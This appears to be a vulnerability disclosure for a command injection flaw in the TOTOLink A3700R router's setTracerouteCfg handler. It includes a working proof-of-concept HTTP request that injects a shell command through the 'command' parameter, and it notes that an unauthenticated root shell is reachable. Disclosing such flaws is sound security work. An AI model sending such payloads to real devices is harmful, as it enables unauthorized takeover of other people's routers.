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TOTOLink A3700R V9.1.2u.6134_B20201202 Has an command injection vulnerability

Overview

Product Information

TOTOLink A3700R V9.1.2u.6134_B20201202 router, the latest version of simulation overview:

image-20220719210324254

Vulnerability details

TOTOLINK A3700R (V9.1.2u.6134_B20201202) was found to contain a command insertion vulnerability in setTracerouteCfg.This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.

image-20220719211135564

Format var into V6 using sprintf function and pass in dosystem function.

image-20220719205544791

The dosystem function is finally found to be implemented in this file by string matching.

image-20220719205811209

Reverse analysis found that the function was called directly through the system function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Boot the firmware by qemu-system or other ways (real machine)
  2. Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Length: 52
Origin: http://192.168.0.1
DNT: 1
Connection: close
Cookie: SESSION_ID=2:1658224702:2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Pragma: no-cache
Cache-Control: no-cache

{"command":";ps;","num":"1","topicurl":"setTracerouteCfg"}

image-20220719212510596

The above figure shows the POC attack effect

image-20220720065911385

Finally, you can write exp to get a stable root shell without authorization.